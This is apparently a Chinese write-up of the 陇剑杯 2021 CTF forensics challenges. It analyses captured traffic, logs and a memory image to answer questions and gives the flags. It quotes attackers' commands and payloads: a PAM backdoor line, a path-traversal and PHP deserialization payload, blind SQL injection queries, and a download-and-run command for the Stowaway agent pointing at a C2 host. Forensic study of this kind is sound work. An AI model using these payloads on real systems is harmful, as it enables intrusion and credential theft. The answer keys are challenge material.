[陇剑杯 2021]部分
[陇剑杯 2021]
jwt
JWT包含三个部分,每部分之间通过.分隔:
Header(头部):描述JWT的元信息,如签名算法。
Payload(载荷):存储具体的用户信息,如用户ID、权限等。
Signature(签名):确保JWT未被篡改。
token格式如下:
Header.Payload.Signature
(1)
题目描述:昨天,单位流量系统捕获了⿊客攻击流量,请您分析流量后进⾏回答:该⽹站使⽤了( )认证方式?(如有字母则默认小写)
首先进行协议分级

发现cookie,token的值是JWT(由三段.分隔的Base64编码数据构成)
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.

即答案为jwt
(2)
题目描述:黑客绕过验证使用的jwt中,id和username是___。(中间使用#号隔开,例如1#admin)
解码JWT的Payload部分

{"alg":"HS256","typ":"JWT"}{"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}
得到id:10086;usename:admin
(3)
题目描述:黑客获取webshell之后,权限是___?(字母默认小写)
在第10个流发现whoami命令执行结果显示当前用户为root。这表明攻击者已获得root权限

(4)
题目描述:黑客上传的恶意文件文件名是___。(请提交带有文件后缀的文件名,例如x.txt)
用户使用echo命令将Base64编码的内容解码后保存到/tmp/1.c文件中

猜测文件就是1.c
(5)
题目描述:黑客在服务器上编译的恶意so文件,文件名是___。(请提交带有文件后缀的文件名,例如x.so)
so文件,也就是共享库文件

分析这段信息
首先,解码Base64部分

得到looter.so
(6)
题目描述:黑客在服务器上修改了一个配置文件,文件的绝对路径为___。(请确认绝对路径后再提交)
继续往下分析

根据攻击者执行的命令echo "auth optional looter.so" >> /etc/pam.d/common-auth,恶意配置被注入到系统的配置文件中
所以路径为/etc/pam.d/common-auth
webshell
(1)
题目描述:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客登录系统使用的密码是_____________。
所谓的挂马,就是黑客通过各种手段,包括SQL注入,网站敏感文件扫描,服务器漏洞,网站程序0day,等各种方法获得网站管理员账号,然后登录网站后台,通过数据库“备份/恢复”或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容,向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP,然后直接对网站页面直接进行修改。当用户访问被加入恶意代码的页面时,用户就会自动的访问被转向的地址或者下载木马病毒。
password或者pass等,查询password为Admin123!@#

(2)
题目描述:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客修改了一个日志文件,文件的绝对路径为_____________
关键词:日志,绝对路径(两个部分组成,网站根目录,相对路径)
搜索
.log

发现相对路径与下面一点的网站路径,拼接一下
/var/www/html/data/Runtime/Logs/Home/21_08_07.log
(3)
题目描述:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客获取webshell之后,权限是______?
权限,可能会执行whoami命令,直接搜索
权限一般无非root 和www-data
在317出现whoami,319响应包中得到结果

权限是www-data
(4)
题目描述:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客写入的webshell文件名是_____________
上传webshell基本使用POST方法提交
http.request.method==POST

写入的webshell文件名是 1.php
(5)
题目描述:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客上传的代理工具客户端名字是_____________
继续分析1.php

在底部发现代理工具客户端名字是:frpc
(6)
题目描述:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客代理工具的回连服务端IP是_____________
将http流导出,发现 1(6).php 中有16进制


代理工具的回连客户端IP是:192.168.239.123
(7)
题目描述:单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
黑客的socks5的连接账号、密码是______
根据上题
账号:0HDFt16cLQJ
密码:JTN276GP
日志分析
(1)
题目描述:单位某应用程序被攻击,请分析日志,进行作答:网络存在源码泄漏,源码文件名是__
在日志中查找状态码为200的请求

发现两条对/www%2ezip的GET请求返回了200(%2e解码为.):
172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /www%2ezip HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /www%2ezip HTTP/1.1" 200 1686 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
所以源码文件为www.zip
(2)
题目描述:分析攻击流量,黑客往/tmp目录写入一个文件,文件名为___。
首先,搜索tmp,发现在文件底部,攻击者发起了路径遍历攻击,尝试写入文件

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
最终目标路径是 /tmp/sess_car

所以文件名为sess_car
(3)
题目描述:分析攻击流量,黑客使用的是__类读取了秘密文件。
根据上题,黑客写入了一个文件,我们继续分析尾部这段:

发现了SplFileObject类
paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}
SplFileObject是PHP中用于文件操作的类,可直接读取文件内容
简单日志分析
(1)
题目描述:某应用程序被攻击,请分析日志后作答:黑客攻击的参数是___。(如有字母请全部使用小写)

发现几个返回500请求的参数user
那么参数就是user
(2)
题目描述:黑客查看的秘密文件的绝对路径是___。(不带 / )

Th4s_IS_VERY_Import_Fi1e
(3)
题目描述:黑客反弹shell的ip和端口是___。(格式使用“ip:端口",例如127.0.0.1:2333)

192.168.2.197:8888
SQL注入
(1)
题目描述:某应用程序被攻击,请分析日志后作答:黑客在注入过程中采用的注入手法叫___。(格式为4个汉字,例如“拼搏努力”)
随机解码一条:
id=1 and if(substr(database(),1,1) = '...', 1, (select table_name from information_schema.tables))
如果成立,则返回1,否则执行子命令,答案为布尔盲注
(2)
题目描述:黑客在注入过程中,最终获取flag的数据库名、表名和字段名是___。(格式为“数据库名#表名#字段名”,例如database#table#column)

数据库名:sqli
表名:flag
字段名:flag
sqli#flag#flag
(3)
题目描述:黑客最后获取到的flag字符串为__。
主要看命令中这个:flag),1,1

因为是布尔注入,只有成功了才会执行下一命令
那么flag),2,1前面一条就是成功了的命令

即第一个字符为“f”
直接搜索flag),3,1,前一条命令则是第二个字符“l”

以此类推,得到flag{deddcd67-bcfd-487e-b940-1217e668c7db}
%7B,%7D在URL编码中分别表示{,}
IOS
(1)
题目描述:一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:黑客所控制的C&C服务器IP是___。
黑客控制的恶意软件(如
ios_agent)通常会通过HTTP/HTTPS与C&C服务器通信,而它的 User-Agent 和 访问的URL 往往会暴露异常行为
我们直接在流量包内找关于ios_agent的流量

发现IP:3.128.156.159:8081
(2)
题目描述:黑客利用的Github开源项目的名字是___。(如有字母请全部使用小写)
继续搜索github相关流量

https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent`
Github项目发布URL通常遵循固定格式:
从URL中我们可以直接提取:
- 作者用户名:
ph4ntonn - 项目名:
Stowaway - 版本号:
1.6.2 - 下载文件:
ios_agent
(3)
题目描述:通讯加密密钥的明文是___。

./ios_agent -c 3.128.156.159:8081 -s hack4sec

得到明文为:hack4sec
(4)
题目描述:黑客通过SQL盲注拿到了一个敏感数据,内容是___。

根据流量包以及题目提供的keylog.txt,猜测里面存在TLS解密
先进行TLS解密

我们先把数据导出,方便查看

接着,在excel表中进行筛选,筛选select,为了方便观察,把%22替换成“

根据盲注,我们得到
37 34 36 35 35 38 66 33 2d 63 38 34 31 2d 34 35 36 62 2d 38 35 64 37 2d 64 36 63 30 66 32 65 64 61 62 62 32

(5)
题目描述:黑客端口扫描的扫描器的扫描范围是__。(格式使用“开始端口-结束端口”,例如1-65535)
端口扫描涉及到rst报文和连续端口访问
分析--专家信息

打开RST



得到端口范围:10-499
(6)
题目描述:黑客访问/攻击了内网的几个服务器,IP地址为__。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)
在日志中得到一个ip地址:172.28.0.2

以及sql注入的ip地址:192.168.1.12

(7)
题目描述:黑客写入了一个webshell,其密码为:( )。(如有字母为小写)
在log中我们发现ma.php

并且d2hvYW1p解码为whoami,参数名是fxxk,可能是一个webshell的密码参数也可能就是密码
内存取证
(1)
题目描述:网管小王制作了一个虚拟机文件,让您来分析后作答:虚拟机的密码是___。(密码中为flag{xxxx},含有空格,提交时不要去掉)
下载得到一个vmem文件于txt文件,txt文件内容为no space but underline,即没有空格,但有下划线
首先我们volatility -f 1.vmem imageinfo查看该vmem文件的操作系统为Win7SP1x64

Windows 系统将以下敏感信息加密后存储在注册表中LSA(Local Security Authority),例如 自动登录密码、服务账户密码 或 系统机密数据。用volatility -f 1.vmem --profile=Win7SP1x64 lsadump提取 LSA Secrets

得到flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}
(2)
这一问没看懂,谁来救救孩子!
题目描述:虚拟机中有一个某品牌手机的备份文件,文件里的图片里的字符串为__。(解题过程中需要用到上一题答案中flag内的内容进行处理。本题的格式也是flag{xx},答案含有空格时,空格不要去掉)
我们搜索一些敏感字符
volatility -f 1.vmem --profile=Win7SP1x64 filescan | find /i "CTF"(我使用的windos)

发现HUAWEI,直接搜索HUAWEI

发现了图片,符合题目信息,下载文件进行分析
在github找到华为备份恢复工具https://github.com/RealityNet/kobackupdec,用命令进行恢复,这个工具需要密码进行恢复,那么密码就是刚刚的第一问的flag,而且提示是“没有空格,只有下划线”
W31C0M3 T0 THiS 34SY F0R3NSiCX变成W31C0M3_T0_THiS_34SY_F0R3NSiCX

[陇剑杯 2021]部分
浙公网安备 33010602011771号